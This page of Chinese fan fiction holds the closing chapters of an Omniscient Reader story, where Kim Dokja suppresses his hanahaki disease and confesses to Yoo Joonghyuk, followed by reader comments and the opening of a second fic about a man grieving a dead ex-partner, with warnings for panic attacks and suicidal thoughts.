刘众赫凝重地看着她大步走开。她的计划有缺陷。金独子的恼人之处不在于他的欺骗,而在于那张嘴一张一合时太多的保留。他从不说出自己真正的想法,即使是以冷酷而直白的方式说话时也是如此。即使激活了[测谎],金独子也有很多方法可以摆脱它。
刘众赫的大拇指将剑从剑鞘中微微抬起,然后放下,又随他的心意一次又一次地弹起。如果金独子拒绝自愿告诉他们真相,那么他们将不得不以一种或另一种方式强迫他说出真相。
几分钟后,他回到李智慧和妹妹身边坐下,两人眼含泪水央求他准备的食物。刘众赫不理他的弟子,把自己盘子里的东西给刘美雅吃。
等大家吃完,李吉勇站了起来。
“哥,”他紧张地叫道。话音刚落,他就脸红了。
金独子抬起头,挑了挑眉。 “是的?”
“我们——嗯。我们想问问你还好吗。”
“我们?” 金独子的眼睛微微眯起。
“我和喻胜,”当女孩站起来加入他时,李吉勇回答道。
“大叔,”申喻胜哀怨地说,“我们很担心你。”
“你不需要,”金独子不屑一顾地回答。 “就这样?”
“你甚至不再和我们说话了,”李吉勇爆发了。
金独子看着他,一脸无动于衷。 “那是因为我无话可说,”他说。 “你对于眼下的场景并非至关重要。”
“大叔?” 申喻胜的声音有些颤抖。 “你说过希望我们足够强大,能够保护自己。”
“你需要做的,”金独子告诉他们,“就是不要挡道。这将是保证你们安全的最佳方式。”
孩子们睁大眼睛看着他。李吉勇咬了咬唇。申佑盛的下巴微微一颤。借着火光,刘众赫看到他们的脸颊上闪烁着泪光。
“好吧,就是这样,”韩秀英咆哮着,猛地站了起来。 “你他妈在说什么,你个混蛋。”
“独子先生,”郑熙媛厉声说道,“你到底在想什么,跟他们说这种话?”
“这样做是最好的,”金独子说。
“这个最好,那个最好,”韩秀英反驳道。 “你不是一个月前才训练他们的吗?”
“我改变了主意,”他回答说,声音中的冷酷与韩秀英的愤怒形成鲜明对比。
“独子先生,我不明白你在想什么,”刘尚雅说。 “我们已经教他们三年多了——”
“你不在这里的三年,”韩秀英插话道。
“——而你选择了以喻胜为化身。你自己也多次说过要让孩子们变得更强,让他们和我们一起战斗。为什么改变主意?”
金独子冷淡地看着她,然后笑了。语气淡淡而礼貌,缺乏他们所知的任何善意。 “对不起,尚雅小姐,”金独子和颜悦色地说,“不过我想这不关你的事。如果没什么事,我就去休息了。”
还没等人说什么,他就起身离开了营地。
身后突然一片寂静,申喻胜吸了吸鼻子,朝相反的方向跑去,李吉勇也迅速跟在后面。李雪花叹了口气,站起身去追他们。
韩秀英倒在她吃饭时一直坐在的石架上。 “操,”她呼了口气,双手顺着脸往下拖。 “本来不该这样。”
郑熙媛抿了抿唇。“是只有我这么觉得,还是他——”
“——听起来和他在最初的几个场景中所做的一样?” 李贤成闭上了眼睛,脸上露出疲惫的神色。 “我也是这么想的。”
“我那时不在,”韩秀英皱眉。
“剧情开始的时候,”柳尚雅缓缓地说,“独子先生适应得很快。当其他人死在地铁里或者因为硬币不足而被清除时,他似乎几乎不慌不忙,甚至冷酷无情。当我们面对危险而毫无准备时,他没有退缩。当然,他所做的一切都是没有理由的,但他似乎除了确保我们清除场景之外,什么都不在乎。”
刘众赫双臂交叉,靠在身后半塌的墙壁上。看到现在的金独子感觉就像回顾他第一次见到的那个人的扭曲快照。刘尚雅是对的,他们认识的金独子,和他们第一次见到那个他十分不同。然而,他从未像现在这样过。
这个金独子和那个敢让他把自己从桥上摔下来的金独子一样吗?和那个毫不犹豫地放弃了最后一个绿色安全区,嘴角挂着微笑面对死亡的金独子一样吗?不,刘众赫不这么认为。
金独子想让刘众赫看着他,承认他是平等的。为了生存,他会竭尽全力,但即便如此,他也会为了拯救自己在乎的人而在所不惜。他说话的方式很欠揍,他站在别人都想杀的人面前、给予他们完全的信任,即使代价是同全世界为敌。
今晚和他们说话的那个人可能套着金独子的皮囊,但那些话绝不会从那个人的嘴里说出来。
刘众赫闭上了眼睛,金独子的公司的其他人继续低声议论着。
几秒后,他从墙上起身。明天,他决定,他会和金多子谈谈。
可惜他没有等到这个机会。
刘众赫那天晚上睡得不踏实,就像他之前的每一个晚上一样。他时断时续地醒来,每次都安静地喘着粗气,一只手伸向他够不到的东西。每当他设法进入深度睡眠时,那些凌乱的梦让他有一种痛苦的失落感。
第二天他们面临的主要场景很简单,可以清除。在星座们看来,也许有些太简单了。
[一些星座正在质疑这种情况的盖然性。]
【多个星座要求增加难度。】
第二条消息弹出几秒后,又有新的子场景提示。
“你在开玩笑吗?” 韩秀英气急败坏的问道。 “我们差不多都快完成了!”
“给它画上句号吧,”郑熙媛说,摆出持剑的姿势。其他人也迅速做好准备。
随着怪物大军的逼近,盖然性的消耗聚起一阵云雾。数百个声音的咆哮和尖叫交织在一起,创造出一种使人咬牙切齿的刺耳噪音。远处,一团扭动着的血肉冲天而起,嘴巴张开,加入了呼喊声。闪电一闪而过,接着是滚滚的雷声和奔跑的羊群的声音。
刘众赫嘴角抽了抽,拔出长剑冲了上去。
有时,刘众赫也在想他是不是天生狂热的战斗分子。几百年过去,他自己都记不得了。他已经习惯了独自战斗——有时,他甚至更宁愿这样,而不是看着他的同伴再次死去……一次又一次。然而,与身边的其他星云成员并肩浴血奋战,刘众赫感到了一种不同于单纯的高效杀戮的满足感。
撕开蜂拥而至的野兽群时,刘众赫转过头,开口呼唤金独子协同进攻。然而,当他回头看时,金独子已经不在了。刘众赫和金独子通常是背靠背地战斗,而金独子这次走得很远,深入敌军。
刘众赫咽下口中的话。他闭上嘴,继续战斗。在敌人之间,他发现自己心烦意乱,眼睛不由自主地寻找飘动的外套,或者灰色天空中的黑色翅膀。金独子穿梭在视线之外,在刘众赫够不着的地方太远了,他离开的频率太高,让他总是无法确定对方并没有在做蠢事。
等他们杀过兽群的猛攻后,刘众赫甩掉了刀刃上的鲜血,喘了口气。
尸体散落在地,空气中弥漫着金属般的血腥味。
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闪电一闪,烧焦了一个庞大生物的残骸。雨点开始落下,刘众赫抬起头。
“独子先生呢?” 李贤成问道。
金独子在战斗中的某个时刻消失了,被一波又一波的怪物所掩盖,一个比一个大。听到李贤星的话,刘众赫猛地抬起头,扫视四周。
就在这时,另一个人出现了。他浑身是血,仿佛大块的肉在他头上爆炸了。血雨交融,化作细小溪流顺着他的脸流下来。
随着金独子越来越近,很明显他受伤了。大片的鲜红在他的衬衫上绽开,从裸l露的皮肤渗出,在他身后蜿蜒出一道痕迹。瞬间,刘众赫就在他身边,伸手搂住金独子扶住他。韩秀英连忙跟了上去。
“独子先生,”李雪花说,声音里带着关切。 “请让我来处理你的伤口。”
“伤口?” 金独子歪了歪头。 “我很好。”
“你说这很好?” 韩秀英一愣。
“坐下,金独子,”刘众赫说着,压在他的肩膀上。
“真的,独子先生。”李雪花说。 “用不了多久,至少让我包扎止血吧。”
金独子盯着她看,面无表情。最后,他说“不”。
韩秀英脸涨红了。 “金独子,你个傻逼!”她咆哮道,抓住他的外套领子。 “你他妈的以为你在做什么?”
金独子低头看着她,他的眸子冰冷无比。
7.
金独子的思绪比前二十几年都更加清晰。
用第四道墙来控制自己后,生活变得轻松了。有了它作为缓冲,金独子能够专注于重要的事情。金独子摆脱了那些让他心烦意乱的思绪和情绪,终于可以重新理性思考了。
没有必要担心内疚和绝望,也没有必要像过去那样沉溺于自怜之中。他不再为胸口的灼热和根根扎入肺泡的疼痛感而烦恼。最后,金独子能够以最合乎逻辑和最有效的方式行事,来实现他们的目标。
虽然他看得出来星云的其他成员都在担心,但他并不认为这是必要的。如果受伤值得注意,第四道墙会提醒他。相反,它一如既往地保持着不赞成的沉默。
“不严重,”他平静地回答,将韩秀英的手从外套上移开。
“不严重?如果这就是你所说的不严重,那我根本不敢看到你嘴里说的严重的情况!”
“独子先生,”柳尚雅皱眉,“就让雪花姐看看你。”
当他们继续毫无必要地试图说服他坐下时,金独子叹了口气,把手伸进了他的一个口袋里。几秒后,他将战斗结束时从一级植物怪物身上得到的结晶果实挖了出来。打败它并不是特别难,但在这个生物还活着的时候拿下它比他预想的要复杂一些。
“给,”金独子说着,把它塞到了刘众赫的手里。按照灭活法,这种果实的种子对主角的剑刃是很有用的。
他清了清嗓子,然后从男人用来支撑他的胳膊下面钻了出来。他直起身子时,世界倾斜了一秒钟,可能是过度使用技能的后遗症。金独子记下了这种感觉,并在脑内构思着如果它出现在战斗中该如何应对。
这场战斗是金独子打过的最轻松的战斗之一。以前,他会在实战中中决定如何行动,这一次他几乎是通过别人的眼睛看到了战场。他能够计算出使用哪些技能以及何时使用,利用他对他们所面临的各种生物的了解来评估与他们战斗的最佳方式。他不需要刘众赫来救他。他从来都不用。
事后看来,金独子认为使用第四堵墙来保护自己可能是他做过的最好的决定之一。从那以后,他的呼吸和咳嗽都没有任何问题,这意味着他原来的逻辑是正确的。正如所料,因为情绪是导致花吐症的原因,所以从根本上切断它们就救了他的命。还好他事先没有向任何人吐露心声,因为问题已经解决了。
“我不需要你们照顾我。”金独子缓慢而清晰地说道。看了看周围散落的其他人,他道:“对你们来说最重要的是走到最后。”
“如果你为了到达那里而丢掉性命,那有什么好的呢?” 郑熙媛问道。
金多嘉皱起眉头。 “那不是——”
“你不是说想和我们一起看到场景的结局吗?” 李贤成的声音很平静,但在这震耳欲聋的寂静中,他们都听得清清楚楚。
“是,”金独子确认,慢慢地眨了眨眼。
他没有说的是——他现在仍然想——因为句子被切断而更加明显。
韩秀英声音有些颤抖。 “你这个混蛋,你想对我们隐瞒什么?”
突然,一直默默注视着的刘众赫拔出了黑魔剑。
“你终于决定你已经受够了吗?” 金独子带着一种遥远的好奇问道。
刘众赫没有回答,而是转过身来,举起了剑。与此同时,第四堵墙在金独子的脑海中发出警告。他们脚下的大地开始颤抖,越来越剧烈,直到金独子差点失去平衡。
一阵巨浪,然后地面崩裂,一个巨大的怪物飞了出来。它身上覆盖着厚厚的深红色鳞片,环绕在它管状的身体上。一级镀甲虫的身形在空中来回摆动了一秒。巨大的圆形大嘴张开,露出一排排尖牙,头顶一晃而过,飞快的向前冲去。
一声刺耳的尖啸划破空气。地面和周围的建筑物都在震动。摇摇欲坠的混凝土滚落到地上,导致周围的尘土滚滚。金独子拔出牢不可破的信念,与刘众赫一起攻击怪物。
他们的刀刃在它的盔甲上发出刺耳的声音,但他们用更厚的防御击退了敌人。镀金虫的主要弱点是同一个锯齿状的嘴巴,两人轮番针对它。只过了几分钟,蠕虫就开始在最后的死亡挣扎中挣扎,将一座摩天大楼撞倒在地。他们向后撤退,试图通过建筑物颤抖倒塌后升起的令人窒息的尘埃来密切关注怪物。
就在这时,第四道墙发出了另一个警告。
【在后面.】
金独子瞪大了眼睛。他转过身来,握住不灭信仰的剑柄的手收紧了,然后感觉整个世界都变了,一股冰冷的眩晕拉扯着他。他的膝盖一软,一只手不由自主地按在了身侧。
他还在流血。
金独子稳住身形,咬牙切齿,第四道墙慢慢缓解了他脑海中的冲击。抬头一看,整个人都僵在了原地。
刘众赫站在他面前,但金独子只能看到他的半边身子。柏油路下又长出了一条镀金的虫子,它的嘴卡在了他的腰间。金独子看着,鲜血从它闪闪发光的牙齿中流了下来。
【‘第四面墙’在微微颤抖。】
怪物颤动着了。
【‘第四面墙’在颤抖。】
刘众赫双膝一软。
【‘第四道墙’被急剧削弱。】
张开嘴,刘众赫的剑插在怪物的身上,深深地埋进它的喉咙里。
“刘众赫?” 金独子低声说道。
随着蠕虫向后倒下,剑刃滑出,发出令人作呕的粘液声。叮的一声,剧情奖励发出。
【《生死相伴》的故事在呼喊。】
刘众赫的身子倒了下去。
世界陷入了彻底的寂静。
【‘第四面墙’正在稳定。】
已经太迟了。
8.
Warning:惊恐发作,自l.杀念头
金独子感觉到一只手搭在了他的肩上。
有人在摇晃他。
他的脸颊有一种刺痛的感觉。
有人在说些什么。还是很多人?声音重叠在一起,但在耳边的嗡嗡声中,他听不清楚。
他的胸口很痛。
他无法呼吸。
他的喉咙发烫。
他无法吞咽。
金独子干呕。
他跪在地上。那是什么时候发生的?
金独子干呕。
灼热的液体充满了他的嘴,被他吐了出来,从嘴唇上滴落。试图擦掉它时,触感又滑又腻。是唾液?还是血液?
胆汁在他的喉咙里升起,夹杂着更尖锐的东西。他的胸膛起伏着,头在剧烈的咳嗽声中低垂着,他的身体像是被折断了。
花瓣如雨点般落下,却只能在血泊中看到一丝黄色。金独子哽咽着,蜷缩在自己身上。随着他一下一下吃力的呼吸,他的手指扣进柏油路面。整朵蒲公英花冒了出来,但它们并没有掉到地上,还依附在他体内的某个东西上。金独子的手举到嘴边,拉了又拉。他感到有什么东西在他的喉咙壁上gua擦,呼吸困难,拼命地作呕。终于,一点一滴,叶、根慢慢显露出来。
一瞬间,疼痛消退了,金独子的身体也静止了。然后,突然之间,潮水般的疼痛甚至比之前还要厉害。泪水从他的眼角滑落,他咽了咽口水。
韩秀英的脸映入眼帘。她看起来很担心。他们现在都很担心。他希望他们能让他安安静静地死去。
金独子脸颊发凉。
李雪花蹲在地上。有人受伤了?
金独子抬起头。
黑色的靴子,黑色的裤子,黑色的外套。黑色的头发,苍白的脸,还有那么鲜红。
“刘众赫?”
铁锈味夹杂着锯齿状的叶子,让金独子清晰地感到自己喉咙的刺痛。
他的胸口很痛。
他不能
停下
咳嗽。
金独子呼吸困难,但他的肺不能工作。花瓣涌入他的喉咙,太快了,他咳不出来。他试图把空气从鼻子里吸进来,却被呛住了。手指上的刺痛蔓延到他的手臂,从脚趾到腿。他颤抖着。
他觉得好冷。
他昏了过去。
9.
当他醒来时,周围一片寂静。
金独子睁开眼睛,盯着空荡荡的灰色天花板。他觉得自己的内脏好像被刮开了。他的胸口空荡荡的,一种失落的感觉让他浑身酸痛,彻底筋疲力尽。
他的喉咙发烫,但那是一种遥远的疼痛感,在拍打他的海岸的疲倦浪潮下几乎感觉不到。金独子闭上眼睛,希望他能让他们哄他入睡,但他强迫自己反抗。
金独子的手臂微微颤抖,双手按在床上,撑起身子。他用手揉了揉头发,环顾四周。
他似乎在工业园区的一个房间里。很实用屋子,和其他所有房间一样,只有裸露的混凝土墙和低矮的天花板。裸露在外的LED灯亮得刺眼,他眯着眼睛看过去。他躺着的床——实际上是一张小床——被推到墙上,白色的窗帘将他与房间的其他部分隔离开来。
金独子掀开薄毯子,把脚从床上甩到冰冷的地板上。他用脚趾抵着它,小心地站着测试着自己的平衡。除了隐隐的头晕,他似乎没有其他问题,于是伸手去抓那不透明的布帘。当他把它滑到一边时,顶部的金属环刮到弯曲的杆上。金独子对噪音感到畏缩,在离床几英尺的地方发现了他的鞋子。他弯下身子把它们拉上并系好。
等他说完,才站起来仔细看了看四周。
房间里还有一张床。它被压在对面的墙上,旁边还有一个窗帘。不过和他不同的是,那个窗帘已经被拉开,他可以清楚地看到躺在那里的人。
金独子感到心在下沉,这才意识到是刘众赫。
他上身赤膊,下腹部和腰部缠着厚厚的绷带。胸口随着痛苦的浅浅呼吸缓慢起伏。
仔细一看,金独子见他睡着了,但他的眉头却像是在做噩梦似的皱起。即使他的皮肤上冒出汗珠,他也没有发出任何声音。
金独子盯着刘众赫,心里有种空洞的疼痛。他走近了些,鞋子在混凝土上弄出些声响。有人在床边放了一把塑料椅子,他坐了进去。不知为何,他的手下意识地动了动,将刘众赫的头发从眼睛上拨开。刘众赫的睫毛颤动了一下,然后又停了下来。
金独子的手垂到他的腿上。他低下头,盯着薄薄的床单的折痕。他笑了,平静的声音中夹杂着绝望,虽然没有什么好笑的。笑声被哽咽打断,他捂住脸,把自己的身体蜷缩起来。
“我做不到,”他嘶哑地说。
“我做不到像这样生活。我得把所有的情绪都推开,只是为了看你一眼。但我永远不想离开你的身边。我会让你对我做任何事情,对我说任何事情,只要那意味着我还在你身边,即使你想杀我。我认为你是我见过的最美丽的人。看到星星时,我会想起你的眼睛。我们进入一个场景,我会想你为了清除这里都经历了些什么。”
金独子颤抖着吐了口气,继续说道。 “我无法在回忆过去时,不想起是你的故事让我活了下来。我也无法想象我的未来,而不设想你会在其中占据什么位置。
“我不能。” 他停了下来,声音越来越大。 “如果不希望你爱我,我就无法活在当下。”
房间里鸦雀无声。
布移动了。旁边的床吱吱作响。金独子缓缓放下了手。
刘众赫坐起身来,盯着他看。
“金独子,”他轻声说,但情绪翻涌, “你说什么。”
(情绪是愤怒。)
金道子瞪大眼睛看着他。他猛地站了起来,椅子在地板上刮擦着,急忙离开。他转过头,就看到之前打开的门咔哒一声关上了。
“不,”刘众赫厉声说。 “你不能再跑了。”
金独子紧张地笑了。 “这是什么意思,众赫啊?”
刘众赫从床上爬起来,走近了些。金独子后退,肩膀几乎耸到耳朵边。
这个房间有窗户吗?他的眼睛四处乱转,然后定位在一处。房间可能部分位于地下,因为窗户很小且靠近天花板。不过,他之前曾经离开过更狭窄的空间,如果让肩膀脱臼,他就能逃出去。
金独子看着刘众赫。刘众赫眼睛一眯。
两人同时移动,但刘众赫总是更快。金独子意识到的下一件事是,他被压在地板上,刘众赫的气息笼罩着他。
“你这个混蛋,”刘众赫咆哮道。 “别以为你能这么轻易地逃避。”
金道子咽了咽口水。刘众赫的一条腿夹在他的中间。刘众赫的手搭在他的肩膀上,他的呼吸轻触着金独子的脸。他身上很热,他们靠得极近。。
“你的伤口会撕裂,”金独子呼出一口气。纯白的绷带上已经出现了一抹红色。
“我要把你撕裂,”刘众赫愤怒地吐息,“如果你不告诉我你他妈的在做什么。”
金独子有几种方法可以摆脱困境。刘众赫对他的压制并没有那么紧。如果真的尝试,他应该能摆脱它。他可以转过头,就像他一直做的那样。他可以撒谎,虽然刘众赫用他的贤者之眼应该可以看穿,所以对方可能会被恶心到生气而放弃。
所以,金独子想,他可以逃跑了。
但是。
他抬头看着刘众赫。
刘众赫的注意力集中在他身上。他正直直地看着他。
他本可以让金独子以为他没有听到那种愚蠢可怜的告白,继续装睡。金独子可能只是在情绪中沉迷了一分钟左右,然后才意识到他正在和一个听不见他说话的人说话并离开了。
但他没有。
金多嘉抬头看着他。刘众赫的鬈发已经盖住了他的眼睛,但他的目光还是一如既往的锐利而深邃。
“我爱你,”金独子说。
以他想象中的所有方式说出来,不知怎的,他从没想过会变成这样。话从他的唇边落下,如同呼吸一般轻松。尽管如此,他的眼睛是清澈的,他的声音没有颤抖,刘众赫看起来也没有生气,只是——困惑。
“你爱我,”刘众赫平淡地重复道。紧接着“为什么?”
金多嘉沉默了,目瞪口呆。刘众赫是想让金独子说出喜欢他的理由吗?他不知道该说什么。他能说什么他觉得刘众赫的眼睛很漂亮?他的头发很软吗?金独子喜欢他宽大的手,尽管有伤疤,喜欢他声音沙哑,喜欢他从不容忍人渣,还是说喜欢他耐心地纠正别人的错误?金独子张了张嘴,但不知道该说什么。
“等等,”刘众赫顿了顿,“别回答这个。我问你为什么要表现成那副蠢样?”
“我接到了一个场景,”金独子说。刚说完第一句话,剩下的就如洪水般涌了出来。他告诉刘众赫关于花吐症的事,关于他胸前长出的花朵和扎在他肺里的根。他描述了他无法入睡的夜晚,因为他需要咳嗽,但不能,因为害怕他会引起醒着的人的注意。
刘众赫将重心从金独子的胸口移开。 “我从来没有听到你的动静,”他说,坐了回去。
“这就是关键,”金独子笑着回应道。
他解释说,因为他一直担心自己的情况会妨碍场景清除,所以他一直在寻找一种方法来绕过病的影响。最后,他描述了他是如何利用第四道墙来压抑自己的情绪的,所以他可能会显得有些疏远。
“有点疏远。”刘众赫不敢置信的重复道。他深吸一口气,然后缓缓呼出。 “所以,”他说。 “这就是你的借口?”
金独子认得这种语气。那是刘众赫还差几秒钟就要掐死他的状态。
“几周—— 几个月——从未与任何人互动。独自离开,让我们以为你可能死在某个地方的沟里,我们永远不会知道。你这个混蛋,”刘众赫咆哮道, “你让你的化身哭了。”
“我必须这么做,”金独子坚持说,“否则我会死的。”
“或者你他妈可以告诉我!”
“为什么?” 金独子厉声道:“所以你可以试着让自己爱上我?我不需要你的怜悯,也不需要你的好意。你的感情不该是这样!”
“哦?” 刘众赫咬牙切齿。 “那么,应该怎样?”
“你会娶李雪花。” 金独子说。
刘众赫嗤笑一声。
“或者其他人,”金独子修正道。 “你会有孩子。清除所有场景。你们从此都过上了幸福的生活。结束。”
“你什么时候才能明白,”刘众赫厉声道,“ 我不是角色? ”
“一千八百六十三回,”金独子回答,声音颤抖,“而你每次都想要同样的东西。”
“一千八百六十三次没有你的生活!”
金独子沉默了。
刘众赫嘴微微张开。他看起来和金独子一样震惊。
“什么,”金独子说。他用胳膊肘撑住地板,撑起身子。
“什么,”他淡淡地重复道,“你刚刚说什么?”
他以前从没见过刘众赫脸上的这种表情。他的眼睛睁得大大的,金独子可以看到刘众赫虹膜上的金色斑点。看着他,刘众赫的颧骨上泛起了红晕。
刘众赫咽了咽口水。
“我,”他开始说。他的喉咙动了。“你认为我是某种冷酷无情的半神。我不是。我通关这些场景是因为我想活下去。我想相信一切的发生都是有某种原因的。我想如果能结束这一切,那么所有的尝试都是值得的。我是对的。”
“一千八百六十三次尝试,”刘众赫平静地说,“我才见到你。”
他的眼睛闪烁,在金独子的脸上寻找着什么。他的表情很复杂,看上去毫无防备、 犹豫不决。如果金独子不知道这一切,他会说刘众赫看起来几乎很害怕。
刘众赫低下头。慢慢地,小心地,他的手伸向金独子的脸颊。他的手指很温柔,他的声音是那么痛苦的轻柔。
“我不需要其他人,”刘众赫喃喃道。 “我只想要你。”
几乎是在不知不觉中,金独子的眼睛闭上了。
吻在他的唇上如花瓣般柔软。
【你得到了最爱金独子的人的爱。】
注1:
我更喜欢这句话的法语,送给能读懂的人:
Ma vie est monotone. Je chasse les poules, les hommes me chassent. Toutes les poules se ressemblent, et tous les hommes se ressemblent. Je m’ennuie donc un peu. Mais, si tu m’apprivoises, ma vie serame ensoleillée. Je conna?trai un bruit de pas qui sera différent de tous les autres. Les autres pas me font rentrer sous terre. Le tien m’appellera hors du terrier,me une musique. Et puis regarde ! Tu vois, là-bas, les champs de blé ? Je ne mange pas de pain. Le blé pour moi est inutile. Les champs de blé ne me rappellent rien. Et ?a, c’est triste ! Mais tu as des cheveux couleur d’or. Alors ce sera merveilleux quand tu m’auras apprivoisé ! Le blé, qui est doré, me fera souvenir de toi. Et j’aimerai le bruit du vent dans le blé…
注2:蒲公英花语
·从情绪痛苦和身体伤害中恢复
·智慧,尤其是在情感和精神方面
·初升的太阳的温暖和力量
·在所有挑战和困难中生存
·长久的幸福和青春的快乐
·愿望的实现
热门评论
邺秩呀☆:
好棒,但是刚开始不知道自己喜欢谁的金独子是屑[老福鸽/狗头]
青上蓝:
其实在想如果独子继续直球阐述他爱的众赫的每一个细节,我觉得众赫他会更快的脸红甚至恼羞成怒hhhhhhhh
忘黛清:
简直不能用看哭了来形容,太美了,不单单是文字,那种情感交融在一起,美得窒息[老福鸽/kswl]
2. 【晏周】悬心
月面廃墟
From LOFTER
【晏周】悬心
第一人称预警哈,写的很破碎,时间线有出入。
-
我又遇见周翔了。
我回到家,准备开门时才发现自己没带钥匙,想着去拿藏在消火栓底下的锁匙。手往惯放的地方摸了摸,没找到。
最后是在偏移很多的地方够到的,小小的一片,泛着银光,满是划痕映着我模糊不清的脸。楼道的灯泡该换了,昏黄闪烁,连找锁孔都费劲。我借着那点可怜的光线才将钥匙插进锁道。
其实我不用这样,这是我家,我即使闭着眼都能开门,关门,甚至可以把钥匙放回帆布水管的夹层中。但我还是如同迟暮的老人,慢悠悠做完一系列的琐事,好像这样做就可以……就可以。
我打开门。
厨房里传来抽油烟机的声音,有人在炒菜,没筛干净水分的青菜丢进热油锅里,噼噼啪啪作响。听到玄关处的动静,那人从厨房探出头,围裙上还带着刚溅上去的深色油渍。
他弯了弯眼睛,“回来了啊。”
就可以……
“周翔,你又偷偷跑进我家干什么?”
对,就可以少看到这个擅自闯人家门的人几秒。
显然没想到我会这么问,他有些局促地在围裙上擦了擦手。“我给你做饭吃。”
“不劳你费心。”我皱了皱眉,“你不要再来了。”
周翔脸上明晃晃的失落,他把手伸到身后想解开围裙,又像想起什么似的拖着一个松垮的围裙结跑回厨房,叮叮当当捣鼓一阵,端出一碟绿油油的青菜。
“生炒菜心,尝尝吧,猪油都是自己炼的。”
他邀功似的把菜端到我面前,我想伸手去推开他,香味却拼命往鼻子里窜,连话到了嘴边都变了样,“你也坐下来吃。”
周翔应下,但他要先收拾一下厨房,让我趁热吃。
现在天冷,厨房供暖做得不好,等一会儿灶台的油就得凝固。我之前也和他一起收拾过厨房,那是去年冬天,周翔买的卤煮还在锅里加热,然后他就去忙别的事情了。等我回到家,屋子里都是臭臭的。
我问他你是不是又偷吃猪大肠了。
周翔挠挠头说是。
我捏着鼻子,说你要煮也记得要通风,不然邻居还以为你在家煮屎。
周翔努力嗅了嗅空气,他有些感冒,鼻尖都是红的。半晌才喃喃自语:“这味道不太对……啊!”
他拔腿就跑,然后我俩就听见厨房传来闷闷的一声,再然后就是砂锅打碎的声音。
厨房的油不好擦,还带着卤煮那股特别的味道。我捏着吸油纸丢到垃圾桶,周翔抓着那个锅底黑黑,碎成两半的砂锅。心疼地抱怨。
“我刚买还没用几次呢。”
“下次再买一个一样的得了。”
周翔让我别收拾了,他自己来就好。我没好气地怼了他一句,“病患,你是想累倒在床上等我伺候你?”
他就不吱声了,转头去处理那摊黏糊糊的油渍。真的不好洗,好长一段时间我都觉得灶台都是臭的,后来干脆就换了集成灶。
周翔当时还乐了好一阵子,我现在想想也不明白,这是我家,我换灶台他高兴个什么劲?可能也正是因为这件事,我发现和他分歧越来越大,于是我俩就分手了。
现在上演的是“前男友死缠烂打渴望破镜重圆”的戏码。
周翔在厨房呆了很久,久到日落西沉,夕阳在木地板上映出我长长的影子。
我试探喊了一句:“周翔?”
没有人回应我。
我又叫了一遍。
于是我走进厨房,灶台亮的反光,挂在墙壁上的锅倒扣着往下滴水,良久才打在水槽里,发出“啪”的一声。
其实刚才我就该意识到不对劲了,太安静了,实在太安静了。一个人在厨房收拾怎么能不发出声音——哦,我知道了,周翔肯定把自己当田螺姑娘,表面上说着要和我一起吃饭,其实等着哪一天我主动掀开他的壳,打他个猝不及防。
然后他就会抱着我,在我脸上亲一大口,说:“我的明修大宝贝,你实在太机智了!”
但我不会让他亲,我要等他承认自己错在哪里。我先佯装嫌弃地推开他,如果他实在伤心难过……可以亲一次。
我想着想着就开始笑,顺便就夹了一筷子菜到碗里。天气实在太冷了,我一边嚼凉了的饭菜,一边想改天应该雇人来换暖气片。
-
快八点的时候,我哥来了。
我哥是个急性子,我不过是吃完饭打盹,他的电话从我迷迷糊糊有睡意开始就没停过,我拗不过,只好抄起手机接了。
“晏明修,你给我开门。”
晏明绪的声音听起来很疲惫,像刚在饭局上连轴转了四十八个小时。
我就不该放我哥进来,他甫一进屋,屋子里弥漫就全是烟酒味。晏明绪毫不客气地往沙发上一坐,我无声地扯了扯他坐扁的沙发靠枕,以表抗议。
晏明绪揉了揉眉心,“晏明修,明天去看病。”
看病?我看什么病?我正常得很。
“你看看你现在什么样子。”
我疑惑地望着他。
晏明绪冷哼一声,踢踢脚边的酒瓶。
“这肯定是……喝的,他没收拾走。”我辩解。
我心虚的厉害,我哥肯定知道我和周翔分手了,我又天天都不让人留在家里,怎么可能是他喝的。但至于是不是我喝的,我记不清楚,而且我也不嗜酒。
“谁?”晏明绪挑眉。
“……你知道啊。”我嗫嚅道:“我前男友。”
我想说周翔的名字,可这两个字在我的嘴里徘徊,愣是说不出口。就像未来人即使回到过去也说不出任何会改变世界走向的预言,这是天道。
“哈,我当然知道。”晏明绪双手抱胸,“晏明修,我劝你有病赶紧治,爸那边我瞒不了多久的,到时候他叫人给你送进六院。”
无论是谁,被阴阳怪气一顿嘲讽都不好受。即便那是我哥,我骤然黑了脸,“晏明绪,你什么意思?我能有什么病,我公司现在运转的都挺好的,有什么问题吗?”
“公司,你还知道你有个公司。”晏明绪又踢倒好几个易拉罐,“你自己说说都多久没去了。”
“我分手了,给自己放个假不是很正常吗?公司的事助理会告诉我,我在家一样能处理。“
“哦,你怎么又分手了?”
“性格不合。”
“那祝你早日再脱单。”晏明绪看了眼表,“明早八点的专家号,七点我在楼下等你,你最好准时。”
“去干什么?”扪心自问,我觉得自己蛮正常的,就算分手了也没有以头抢地,我哥要是乐善好施到如此关心他弟弟的心理健康,不如去做慈善关怀一下那些分手就坠楼的。
……坠?
我的脑袋突然“嗡”的一下,站不稳了,腿直接软到在地,还好地上铺了厚地毯,不至于疼。我哥拽着我的胳膊,他的手指像烧火棍,要在我身上烙出指印状的疤。
“喂!晏明修……你!”
我哥慌了,“你是不是又一天没吃饭?”
“我晚上吃了。”我疼得直冒冷汗,却分辨不出是哪里疼。捂着胃,又觉得是头疼,捂着脑袋,又觉得是心疼。
“你吃个屁你吃!”晏明绪气势汹汹去厨房泡了杯面,放到我面前的时候还有两滴汤溅到茶几上。我抽了面巾纸小心擦拭,听我哥又在骂我。
“锅还是我中午过来洗的!你还说你吃了?”
那明明是周翔洗的。我本想辩解,身体却实在累得厉害,连手指也不想动。
“我操,冰箱里这个菜你从哪里翻出来的,你不会吃了这个吧?”
我吃的是周翔给我做的饭,我在心里默默想着。但我哥向来不看好周翔,我们又分手了,也就随他胡说去了。
“快把面吃了。”晏明绪举着泡面,热气熏着我直流泪。我往外推了推,“不吃,腻。”
晏明绪顿了顿,长叹一声。又去弄了杯蜂蜜水。”把这个喝了。“
我这才接过杯子小口抿了抿。
-
我哥可能还有事,没待一会儿就离开了。
他前脚刚走,后脚我就听见门锁拧动的声音。我面色沉沉往门口看,质问那个半个身子蛰伏在阴影中的人。
“你又来干什么?”
“啊。”周翔搓了搓冻僵的手,“我在楼下碰到你哥,他告诉我你胃病犯了,我来看看你。”
周翔永远不会在我最需要他的时候出现,却总是做一些没意义的事。我抱着我哥给我的蜂蜜水,冷冷道:“你来晚了,我都好了。”
他也不恼,温声道:“病去如抽丝,哪有这么快好的,我给你接点水,你先吃药。”
